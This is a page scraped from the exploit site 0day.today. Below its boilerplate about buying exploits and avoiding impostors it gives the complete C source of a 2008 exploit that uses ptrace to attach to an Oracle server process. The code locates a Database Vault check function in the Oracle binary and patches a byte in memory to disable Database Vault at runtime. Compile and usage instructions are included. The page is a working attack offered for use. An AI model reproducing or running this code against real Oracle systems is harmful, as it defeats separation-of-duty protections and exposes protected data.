0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Oracle Database Vault ptrace(2) Privilege Escalation Exploit
============================================================ Oracle Database Vault ptrace(2) Privilege Escalation Exploit ============================================================ /* * original release: http://vnull.pcnet.com.pl/blog/?p=92 * * ora_dv_mem_off.c version 0x1 * ORACLE Database Vault runtime disabler (x86_32 Linux only) * AKA give_back_the_freedom * by Jakub 'vnull' Wartak <jakub.wartak@gmail.com> 26.02.2008 * 0-day PRIVATE! D0 N0T DI$TRIBUT3! * * Tested on 10.2.0.3, CentOS 5. * For other architectures/OS combos consider having fun with gdb ;] * * Whole Database Vault architecture is flawed if DBA has access to * oracle user process space. IMHO you could limit risk by creating * UNIX accounts for DBAs with membership of OSDBA group (along with * oracle SUID binary and shared memory with only read permission * for OSDBA group [check SHM privs: ipcs -cm] ). But how those DBAs * would cope with some serious crashes (requiring for e.g. restoring * controlfile) ? * * Usage: * Set enviorniment variables: ORACLE_BASE, ORACLE_SID, ORACLE_HOME * $ gcc -Wall ora_dv_mem_off.c -o ora_dv_mem_off -lbfd -liberty * $ ./ora_dv_mem_off * * REQUIEREMENTS: * + run as oracle process owner (by default "oracle") * + working ptrace(), it won't work in systems with ptrace() * disabled (grsecurity and some LKMs). * + BFD headers and library (binutils-devel) * * THE DOCUMENT IS PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND. THE * CONTENT MAY CHANGE WITHOUT NOTICE. IN NO EVENT SHALL THE AUTHORS BE * LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES, INJURIES, * LOSSES OR UNLAWFUL OFFENCES. * * USE AT OWN RISK! * */ #include <bfd.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> #include <sys/types.h> #include <sys/ptrace.h> #include <sys/wait.h> #include <linux/user.h> #include <linux/ptrace.h> #include <asm/unistd.h> /* for __NR_clone */ /* you may need to alter this */ #define ORABASE "/u01/app/oracle/product/10.2.0/bin" /* * Magic... (at&t syntax) * push %ebp * mov %esp, %ebp * mov <DV_FLAG>, %eax * [..] * where DV_FLAG is 32-bit long */ #define ASM_DV_FUNC_PROLOG "\x55\x8b\xec\xb8" const char *sqlplus = ORABASE "/sqlplus"; const char *oracle = ORABASE "/oracle"; const int long_size = sizeof(long); pid_t child; long locate_dv_func(void) { asymbol **symbol_table; bfd *b = bfd_openr(oracle, NULL); if (b == NULL) { perror("bfd_openr"); exit(-1); } bfd_check_format(b, bfd_object); long storage_needed = bfd_get_symtab_upper_bound(b); if(storage_needed < 0) { fprintf(stderr, "wtf?!\n"); exit(-1); } if((symbol_table = (asymbol**)malloc(storage_needed)) == 0) { perror("malloc"); exit(-1); } int num_symbols; if((num_symbols = bfd_canonicalize_symtab(b, symbol_table)) <= 0) { fprintf(stderr, "no symbols info\n"); exit(-1); } int i; for(i = 0; i < num_symbols; i++) { char *symname = bfd_asymbol_name(symbol_table[i]); void *symaddr = bfd_asymbol_value(symbol_table[i]); /* don't even ask why this funciton, for real hardcore: gdb -p <oraclePIDs> */ if(!strcmp(symname, "kzvtins")) { fprintf(stderr, "[%d] symbol \"kzvtins\" at 0x%lx\n", getpid(), (long) symaddr); return (long) symaddr; } } return 0; } /* from "Playing with ptrace(), part#2, Linux Journal, author: Pradeep Padala */ void getdata(pid_t child, long addr, char *str, int len) { char *laddr; int i, j; union u { long val; char chars[long_size]; } data; i = 0; j = len / long_size; laddr = str; while(i < j) { data.val = ptrace(PTRACE_PEEKDATA, child, addr + i * 4, NULL); memcpy(laddr, data.chars, long_size); ++i; laddr += long_size; } j = len % long_size; if(j != 0) { data.val = ptrace(PTRACE_PEEKDATA,child, addr + i * 4,NULL); memcpy(laddr, data.chars, j); } str[len] = '\0'; } void putdata(pid_t child, long addr, char *str, int len) { char *laddr; int i, j; union u { long val; char chars[long_size]; } data; i = 0; j = len / long_size; laddr = str; while(i < j) { memcpy(data.chars, laddr, long_size); ptrace(PTRACE_POKEDATA, child, addr + i * 4, data.val); ++i; laddr += long_size; } j = len % long_size; if(j != 0) { memcpy(data.chars, laddr, j); ptrace(PTRACE_POKEDATA, child, addr + i * 4, data.val); } } void cleanup(void) { int s; kill(child, SIGKILL); wait(&s); } int main(int ac, char **av) { int status; pid_t orapid = 0; bfd_init(); if((child = fork()) == -1) { perror("fork"); exit(-1); } if(child == 0) { if(ptrace(PTRACE_TRACEME, 0, NULL, NULL)==-1) { perror("unable to ptrace(PTRACE_TRACEME)"); exit(-1); } /* launch sqlplus */ if(execl(sqlplus, "sqlplus", "/nolog", NULL)==-1) { perror("execl"); exit(-1); } /* not reached */ exit(0); } if(atexit(cleanup) != 0) { fprintf(stderr, "[%d] unable to register cleanup function\n", getpid()); } wait(&status); if(WIFSTOPPED(status)) { fprintf(stderr, "[%d] starting to trace sqlplus process (%d)\n", getpid(), child); } fprintf(stderr, "[***] NOW TYPE IN SQLPLUS: conn / as sysdba\n"); while(!orapid) { struct user_regs_struct uregs; ptrace(PTRACE_SYSCALL, child, 0, 0); wait(&status); ptrace(PTRACE_GETREGS, child, 0, &uregs); /* ouch! no fork()? clone()! */ if(uregs.orig_eax==__NR_clone) { long *regs = 0; /* fprintf(stderr, "[%d] clone() syscall\n", getpid()); */ ptrace(PTRACE_SYSCALL, child, 0, 0); wait(&status); if((orapid = ptrace(PTRACE_PEEKUSER, child, ®s[EAX], 0)) == -1) { perror("ptrace(PTRACE_PEEKUSER): unable to get clone() retvalue\n"); exit(-1); } fprintf(stderr, "[%d] clone() syscall in %d, tracing orapid=%d\n", getpid(), child, orapid); /* attach to orapid, detach from sqlplus */ if(ptrace(PTRACE_ATTACH, orapid, 0, 0) == -1) { perror("ptrace(PTRACE_ATTACH) to orapid"); exit(-1); } while(1) { ptrace(PTRACE_SYSCALL, orapid, 0, 0); wait(&status); ptrace(PTRACE_GETREGS, orapid, 0, &uregs); if(uregs.orig_eax==__NR_execve) { fprintf(stderr, "[%d] execve() syscall in %d, \n", getpid(), orapid); /* end ptrace of syscall */ ptrace(PTRACE_SYSCALL, orapid, 0, 0); break; } else { //fprintf(stderr, "got %ld\n", uregs.orig_eax); ptrace(PTRACE_SYSCALL, orapid, 0, 0); } } if(ptrace(PTRACE_DETACH, child, 0, 0) == -1) { perror("ptrace(PTRACE_DETACH) from child"); exit(-1); } } else if(uregs.orig_eax==__NR_execve) { fprintf(stderr, "[%d] execve() syscall in %d\n", getpid(), child); } } /* now we have oracle server process under our control :) */ long dv_func = locate_dv_func(); if(dv_func == 0) { fprintf(stderr, "ERROR: unable to find function\n"); exit(-1); } wait(&status); unsigned char buf[32]; memset(buf, 0, sizeof(buf)); getdata(orapid, dv_func, (char *)&buf, 32); /* dump opcodes */ /* for(i = 0; i < 31; i++) { fprintf(stderr, "%x ", (unsigned char)buf[i]); } */ if(!memcmp(buf, ASM_DV_FUNC_PROLOG, strlen(ASM_DV_FUNC_PROLOG))) { unsigned char dv_status; unsigned long woff = dv_func + strlen(ASM_DV_FUNC_PROLOG), woff2=woff; getdata(orapid, woff, (char *)&dv_status, 1); fprintf(stderr, "[***] sucessfuly validated function, DatabaseVault=%d\n", dv_status); fprintf(stderr, "[***] attempting to rewrite memory at 0x%lx\n", woff2); unsigned char my = 0; putdata(orapid, woff2, (void *)&my, 1); } if(ptrace(PTRACE_DETACH, orapid, 0, 0) == -1) { perror("ptrace(PTRACE_DETACH) from orapid"); exit(-1); } wait(&status); exit(0); } # 0day.today [2024-11-16] #